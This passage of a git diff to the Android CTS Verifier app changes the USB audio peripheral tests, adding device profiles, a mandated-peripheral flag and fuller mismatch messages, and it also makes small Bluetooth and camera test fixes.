             this.applicableFeatures = applicableFeatures;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
index 7fdf403..140757d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralActivity.java
@@ -44,6 +44,8 @@
     protected AudioDeviceInfo mOutputDevInfo;
     protected AudioDeviceInfo mInputDevInfo;
 
+    protected final boolean mIsMandatedRequired;
+
     // This will be overriden...
     protected  int mSystemSampleRate = 48000;
 
@@ -53,9 +55,12 @@
 
     private TextView mPeripheralNameTx;
 
-    public USBAudioPeripheralActivity() {
+    public USBAudioPeripheralActivity(boolean mandatedRequired) {
         super();
 
+        // determine if to show "UNSUPPORTED" if the mandated peripheral is required.
+        mIsMandatedRequired = mandatedRequired;
+
         mProfileManager.loadProfiles();
     }
 
@@ -99,7 +104,7 @@
                 productName = mInputDevInfo.getProductName().toString();
             }
             String ctrlText;
-            if (mSelectedProfile == null) {
+            if (mSelectedProfile == null && mIsMandatedRequired) {
                 ctrlText = productName + " - UNSUPPORTED";
             } else {
                 ctrlText = productName;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
index 07a99da..5029160 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralAttributesActivity.java
@@ -32,6 +32,10 @@
 
     private TextView mTestStatusTx;
 
+    public USBAudioPeripheralAttributesActivity() {
+        super(true); // Mandated peripheral is required
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -66,21 +70,27 @@
                 if (deviceInfo.getChannelCounts().length == 0) {
                     sb.append("Output - No Peripheral Channel Counts\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
-                    sb.append("Output - Channel Counts Mismatch\n");
+                    sb.append("Output - Channel Counts Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) +"\n");
                 }
 
                 // Encodings
                 if (deviceInfo.getEncodings().length == 0) {
                     sb.append("Output - No Peripheral Encodings\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
-                    sb.append("Output - Encodings Mismatch\n");
+                    sb.append("Output - Encodings Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
                 }
 
                 // Sample Rates
                 if (deviceInfo.getSampleRates().length == 0) {
                     sb.append("Output - No Peripheral Sample Rates\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
-                    sb.append("Output - Sample Rates Mismatch\n");
+                    sb.append("Output - Sample Rates Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getSampleRates()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mSampleRates) + "\n");
                 }
 
                 // Channel Masks
@@ -91,13 +101,17 @@
                     // Channel Index Masks
                     if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
                             attribs.mChannelIndexMasks)) {
-                        sb.append("Output - Channel Index Masks Mismatch\n");
+                        sb.append("Output - Channel Index Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
                     }
 
                     // Channel Position Masks
                     if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
                             attribs.mChannelPositionMasks)) {
-                        sb.append("Output - Channel Position Masks Mismatch\n");
+                        sb.append("Output - Channel Position Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
                     }
                 }
 
@@ -124,21 +138,27 @@
                 if (deviceInfo.getChannelCounts().length == 0) {
                     sb.append("Input - No Peripheral Channel Counts\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getChannelCounts(), attribs.mChannelCounts)) {
-                    sb.append("Input - Channel Counts Mismatch\n");
+                    sb.append("Input - Channel Counts Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getChannelCounts()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mChannelCounts) + "\n");
                 }
 
                 // Encodings
                 if (deviceInfo.getEncodings().length == 0) {
                     sb.append("Input - No Peripheral Encodings\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getEncodings(), attribs.mEncodings)) {
-                    sb.append("Input - Encodings Mismatch\n");
+                    sb.append("Input - Encodings Mismatch" +
+                            " d" + ListsHelper.textFormatHex(deviceInfo.getEncodings()) +
+                            " p" + ListsHelper.textFormatHex(attribs.mEncodings) + "\n");
                 }
 
                 // Sample Rates
                 if (deviceInfo.getSampleRates().length == 0) {
                     sb.append("Input - No Peripheral Sample Rates\n");
                 } else if (!ListsHelper.isSubset(deviceInfo.getSampleRates(), attribs.mSampleRates)) {
-                    sb.append("Input - Sample Rates Mismatch\n");
+                    sb.append("Input - Sample Rates Mismatch" +
+                            " d" + ListsHelper.textFormatDecimal(deviceInfo.getSampleRates()) +
+                            " p" + ListsHelper.textFormatDecimal(attribs.mSampleRates) + "\n");
                 }
 
                 // Channel Masks
@@ -148,11 +168,15 @@
                 } else {
                     if (!ListsHelper.isSubset(deviceInfo.getChannelIndexMasks(),
                             attribs.mChannelIndexMasks)) {
-                        sb.append("Input - Channel Index Masks Mismatch\n");
+                        sb.append("Input - Channel Index Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelIndexMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelIndexMasks) + "\n");
                     }
                     if (!ListsHelper.isSubset(deviceInfo.getChannelMasks(),
                             attribs.mChannelPositionMasks)) {
-                        sb.append("Input - Channel Position Masks Mismatch\n");
+                        sb.append("Input - Channel Position Masks Mismatch" +
+                                " d" + ListsHelper.textFormatHex(deviceInfo.getChannelMasks()) +
+                                " p" + ListsHelper.textFormatHex(attribs.mChannelPositionMasks) + "\n");
                     }
                 }
                 if (sb.toString().length() == 0){
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
index 2149ed7..57d823e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralButtonsActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.audio;
 
+import android.app.AlertDialog;
+import android.content.DialogInterface;
 import android.content.res.Resources;
 import android.graphics.Color;
 import android.os.Bundle;
@@ -45,6 +47,23 @@
     private TextView mBtnBStatusTxt;
     private TextView mBtnCStatusTxt;
 
+    public USBAudioPeripheralButtonsActivity() {
+        super(false); // Mandated peripheral is NOT required
+    }
+
+    private void showDisableAssistantDialog() {
+        AlertDialog.Builder builder =
+                new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
+        builder.setTitle(getResources().getString(R.string.uapButtonsDisableAssistantTitle));
+        builder.setMessage(getResources().getString(R.string.uapButtonsDisableAssistant));
+        builder.setPositiveButton(android.R.string.yes,
+            new DialogInterface.OnClickListener() {
+                public void onClick(DialogInterface dialog, int which) {}
+         });
+        builder.setIcon(android.R.drawable.ic_dialog_alert);
+        builder.show();
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -62,12 +81,12 @@
 
         setPassFailButtonClickListeners();
         setInfoResources(R.string.usbaudio_buttons_test, R.string.usbaudio_buttons_info, -1);
+
+        showDisableAssistantDialog();
     }
 
     private void showButtonsState() {
-        int ctrlColor = mIsPeripheralAttached && mSelectedProfile != null
-                ? Color.WHITE
-                : Color.GRAY;
+        int ctrlColor = mIsPeripheralAttached ? Color.WHITE : Color.GRAY;
         mBtnALabelTxt.setTextColor(ctrlColor);
         mBtnAStatusTxt.setTextColor(ctrlColor);
         mBtnBLabelTxt.setTextColor(ctrlColor);
@@ -81,26 +100,13 @@
             mHasBtnB ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
         mBtnCStatusTxt.setText(getString(
             mHasBtnC ? R.string.uapButtonsRecognized : R.string.uapButtonsNotRecognized));
+
+        calculateMatch();
     }
 
     private void calculateMatch() {
-        if (mIsPeripheralAttached && mSelectedProfile != null) {
-            ProfileButtonAttributes mButtonAttributes = mSelectedProfile.getButtonAttributes();
-            boolean match = mButtonAttributes != null;
-            boolean interceptedVolume = getResources().getBoolean(Resources.getSystem()
-                .getIdentifier("config_handleVolumeKeysInWindowManager", "bool", "android"));
-            if (match && mButtonAttributes.mHasBtnA != mHasBtnA) {
-                match = false;
-            }
-            if (!interceptedVolume) {
-                if (match && mButtonAttributes.mHasBtnB != mHasBtnB) {
-                    match = false;
-                }
-                if (match && mButtonAttributes.mHasBtnC != mHasBtnC) {
-                    match = false;
-                }
-            }
-            Log.i(TAG, "match:" + match);
+        if (mIsPeripheralAttached) {
+            boolean match = mHasBtnA && mHasBtnB && mHasBtnC;
             getPassButton().setEnabled(match);
         } else {
             getPassButton().setEnabled(false);
@@ -109,29 +115,27 @@
 
     @Override
     public boolean onKeyDown(int keyCode, KeyEvent event) {
-        Log.i(TAG, "onKeyDown(" + keyCode + ")");
-        if (mSelectedProfile != null) {
-            switch (keyCode) {
-            // Function A control event
-            case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
-                mHasBtnA = true;
-                break;
-    
-            // Function B control event
-            case KeyEvent.KEYCODE_VOLUME_UP:
-                mHasBtnB = true;
-                break;
-    
-            // Function C control event
-            case KeyEvent.KEYCODE_VOLUME_DOWN:
-                mHasBtnC = true;
-                break;
-            }
-    
-            showButtonsState();
-            calculateMatch();
+        // Log.i(TAG, "onKeyDown(" + keyCode + ")");
+        switch (keyCode) {
+        // Function A control event
+        case KeyEvent.KEYCODE_MEDIA_PLAY_PAUSE:
+            mHasBtnA = true;
+            break;
+
+        // Function B control event
+        case KeyEvent.KEYCODE_VOLUME_UP:
+            mHasBtnB = true;
+            break;
+
+        // Function C control event
+        case KeyEvent.KEYCODE_VOLUME_DOWN:
+            mHasBtnC = true;
+            break;
         }
 
+        showButtonsState();
+        calculateMatch();
+
         return super.onKeyDown(keyCode, event);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
index 640d489..de9016a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayActivity.java
@@ -31,6 +31,10 @@
     private Button mPlayBtn;
     private LocalClickListener mButtonClickListener = new LocalClickListener();
 
+    public USBAudioPeripheralPlayActivity() {
+        super(false); // Mandated peripheral is NOT required
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
@@ -52,8 +56,8 @@
     // USBAudioPeripheralActivity
     // Headset not publicly available, violates CTS Verifier additional equipment guidelines.
     public void updateConnectStatus() {
-        mPlayBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
-        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
+        mPlayBtn.setEnabled(mIsPeripheralAttached);
+        getPassButton().setEnabled(mIsPeripheralAttached);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
index 33417d1..fc666aa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralPlayerActivity.java
@@ -41,6 +41,10 @@
 
     private static final int WAVBUFF_SIZE_IN_SAMPLES = 2048;
 
+    public USBAudioPeripheralPlayerActivity(boolean requiresMandatePeripheral) {
+        super(requiresMandatePeripheral); // Mandated peripheral is NOT required
+    }
+
     protected void setupPlayer() {
         mSystemBufferSize =
             StreamPlayer.calcNumBurstFrames((AudioManager)getSystemService(Context.AUDIO_SERVICE));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
index 5772461..22a2678 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/USBAudioPeripheralRecordActivity.java
@@ -49,6 +49,10 @@
 
     private WaveScopeView mWaveView = null;
 
+    public USBAudioPeripheralRecordActivity() {
+        super(false); // Mandated peripheral is NOT required
+    }
+
     private void connectWaveView() {
         // Log.i(TAG, "connectWaveView() rec:" + (mRecorder != null));
         if (mRecorder != null) {
@@ -136,9 +140,9 @@
     // USBAudioPeripheralActivity
     //
     public void updateConnectStatus() {
-        mRecordBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
-        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached && mSelectedProfile != null);
-        getPassButton().setEnabled(mSelectedProfile != null && mOutputDevInfo != null);
+        mRecordBtn.setEnabled(mIsPeripheralAttached);
+        mRecordLoopbackBtn.setEnabled(mIsPeripheralAttached);
+        getPassButton().setEnabled(mIsPeripheralAttached);
     }
 
     public class LocalClickListener implements View.OnClickListener {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
index 12f1853..bebc2a7 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamPlayer.java
@@ -131,7 +131,7 @@
             allocBurstBuffer();
             return true;
         }  catch (UnsupportedOperationException ex) {
-            Log.i(TAG, "Couldn't open AudioTrack: " + ex);
+            Log.e(TAG, "Couldn't open AudioTrack: " + ex);
             mAudioTrack = null;
             return false;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
index d9094e5..7cdff34 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/StreamRecorder.java
@@ -120,7 +120,7 @@
         mNumChannels = numChans;
         mSampleRate = sampleRate;
 
-        int chanPosMask = AudioUtils.countToInPositionMask(numChans);
+        int chanIndexMask = AudioUtils.countToIndexMask(numChans);
         int bufferSizeInBytes = 2048;   // Some, non-critical value
 
         try {
@@ -128,14 +128,14 @@
                     .setAudioFormat(new AudioFormat.Builder()
                             .setEncoding(AudioFormat.ENCODING_PCM_FLOAT)
                             .setSampleRate(mSampleRate)
-                            .setChannelMask(chanPosMask)
+                            .setChannelIndexMask(chanIndexMask)
                             .build())
                     .setBufferSizeInBytes(bufferSizeInBytes)
                     .build();
 
             return true;
         } catch (UnsupportedOperationException ex) {
-            Log.i(TAG, "Couldn't open AudioRecord: " + ex);
+            Log.e(TAG, "Couldn't open AudioRecord: " + ex);
             mAudioRecord = null;
             return false;
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
index 97822d0..565826e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ListsHelper.java
@@ -60,4 +60,30 @@
 
         return true;
     }
+
+    static public String textFormatHex(int[] list) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("[");
+        for (int index = 0; index < list.length; index++) {
+            sb.append("0x" + Integer.toHexString(list[index]));
+            if (index < list.length-1) {
+                sb.append(", ");
+            }
+        }
+        sb.append("]");
+        return sb.toString();
+    }
+
+    static public String textFormatDecimal(int[] list) {
+        StringBuilder sb = new StringBuilder();
+        sb.append("[");
+        for (int index = 0; index < list.length; index++) {
+            sb.append("0x" + list[index]);
+            if (index < list.length-1) {
+                sb.append(", ");
+            }
+        }
+        sb.append("]");
+        return sb.toString();
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
index a0cff31..c608c26 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/PeripheralProfile.java
@@ -122,7 +122,12 @@
         String[] strings = intList.split(",");
         int[] ints = new int[strings.length];
         for (int index = 0; index < strings.length; index++) {
-            ints[index] = Integer.parseInt(strings[index]);
+            try {
+                ints[index] = Integer.parseInt(strings[index]);
+            }
+            catch (NumberFormatException ex) {
+                ints[index] = 0;
+            }
         }
         return ints;
     }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index e7695cb..bbafd8c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -46,33 +46,56 @@
 
     private static final String mBuiltInprofiles =
         "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>" +
-        "<ProfileList Version=\"1.0.0\">" +
-            "<PeripheralProfile ProfileName=\"Audio Interface\" ProfileDescription=\"Presonus AudioVox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+            "<ProfileList Version=\"1.0.0\">" +
+            "<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" +
+                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
+                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
                 "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
                 "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
-                "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
+                "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
             "</PeripheralProfile>" +
-            "<PeripheralProfile ProfileName=\"gen1-headset\" ProfileDescription=\"Reference USB Headset\" ProductName=\"USB-Audio - Skylab\">" +
-            "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"2,4\" SampleRates=\"8000,16000,32000,44100,48000\" />" +
-            "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"8000,16000,32000,44100,48000\" />" +
-            "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
-          "</PeripheralProfile>" +
           "<PeripheralProfile ProfileName=\"mir\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB Audio\">" +
             "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+            "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+            "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"1\" />" +
           "</PeripheralProfile>" +
-          "</ProfileList>";
+            "<PeripheralProfile ProfileName=\"HTC Dongle\" ProfileDescription=\"Type-C to 3.5mm Headphone\" ProductName=\"USB-Audio - HTC Type-C to 3.5mm Headphone J\">" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\"/>" +
+                "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"JBL Reflect Aware\" ProfileDescription=\"JBL Reflect Aware\" ProductName=\"USB-Audio - JBL Reflect Aware\">" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1\" ChanPosMasks=\"16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
+                "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
+            "</PeripheralProfile>" +
+           "</ProfileList>";
 
     // XML Tags and Attributes
     private final static String kTag_ProfileList = "ProfileList";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
index e61cefe..6b686e0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientService.java
@@ -1292,7 +1292,15 @@
                 int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
-                        mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+                        if ((mBluetoothGatt == null) &&
+                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
+                                                         mGattCallbacks);
+                        }
                         break;
                     case BluetoothDevice.BOND_NONE:
                         notifyError("Failed to create bond.");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
index 3477870..5c0c55e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothTestActivity.java
@@ -24,6 +24,7 @@
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
+
 import java.util.ArrayList;
 import java.util.List;
 
@@ -68,6 +69,10 @@
                   "com.android.cts.verifier.bluetooth.BleScannerTestActivity");
             disabledTestArray.add(
                   "com.android.cts.verifier.bluetooth.BleConnectionPriorityServerBaseActivity");
+            disabledTestArray.add(
+                  "com.android.cts.verifier.bluetooth.BleInsecureServerTestListActivity");
+            disabledTestArray.add(
+                  "com.android.cts.verifier.bluetooth.BleSecureServerTestListActivity");
         }
         setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),
                 disabledTestArray.toArray(new String[disabledTestArray.size()])));
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
index 85d2a18..8839d52 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
@@ -413,7 +413,7 @@
         try {
             mCamera.setPreviewDisplay(mSurfaceHolder);
         } catch (Throwable t) {
-            Log.e("TAG", "Could not set preview display", t);
